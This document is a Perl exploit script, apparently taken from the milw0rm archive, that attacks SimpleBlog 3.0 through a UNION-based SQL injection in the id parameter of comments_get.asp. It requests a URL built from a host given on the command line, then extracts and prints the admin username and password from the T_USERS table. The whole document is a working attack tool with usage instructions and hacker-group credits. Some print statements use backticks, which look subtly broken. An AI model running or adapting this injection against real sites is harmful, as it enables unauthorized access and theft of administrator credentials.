SimpleBlog 3.0 (comments_get.asp id) Remote SQL Injection Vulnerability#!/usr/bin/perl

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#              SimpleBlog 3.0 [ comments_get.asp ]               #
#                    ] Remote SQL Injection [                    #
#                                                                #
#              [c]ode by TrinTiTTY [at] g00ns.net                #
#                 Vulnerability by MurderSkillz                  #
#                                                                #
#      shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox,   #
#              Canuck, a59, sess, bernard, + the rest of g00ns   #
#  [irc.g00ns.net]       [www.g00ns.net]        [ts.g00ns.net]   #
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

use LWP::UserAgent;

$host = @ARGV[0];
$ua = LWP::UserAgent->new;

my $inject ='comments_get.asp?id=-99%20union%20all%20select%201,2,uUSERNAME,4,uPASSWORD,6,7,8,9%20from%20T_USERS';

if (@ARGV < 1){&amp;top( );&amp;usage( )}
elsif ($host =~ /http:\/\//){print`\n\n [-] Don't use http:// in host\n`;exit( 0 );}
else { &amp;xpl( ) }
sub xpl( ) {
  &amp;top( );
  print `\n [~] Connecting\n`;
  $res = $ua->get(`http://$host/$inject`);

  $con = $res->content;
  print `\n [~] Checking for admin info\n`;
  if ($con =~ /<strong>([-_+.\w]{1,15})<\/strong>/gmi)
  {
     print `\n\t [+] Admin user: $1\n`;
  }
  if ($con =~ /<a href\=\`http:\/\/(.*)\` target\=\`\_blank\`>(.*)<\/a>/gmi)
  {
     print `\n\t [+] Admin password: $2\n`;
     print `\n [+] Complete\n`;
  }
  else {
      print `\n [-] Unable to retrieve admin info\n`;
      exit(0);
  }
}
sub top( )
{
  print q {
  ##################################################################
  #             SimpleBlog 3.0  [ comments_get.asp ]               #
  #                    ] Remote SQL Injection [                    #
  #                                                                #
  #                [c]ode by TrinTiTTY [at] g00ns.net              #
  #                   Vulnerability by MurderSkillz                #
  ##################################################################
  }
}
sub usage( )
{
  print `\n Usage: perl simpleblog3.pl <host>\n`;
  print `\n Example: perl simpleblog3.pl www.example.com/path\n\n`;
  exit(0);
}

# milw0rm.com [2007-07-28]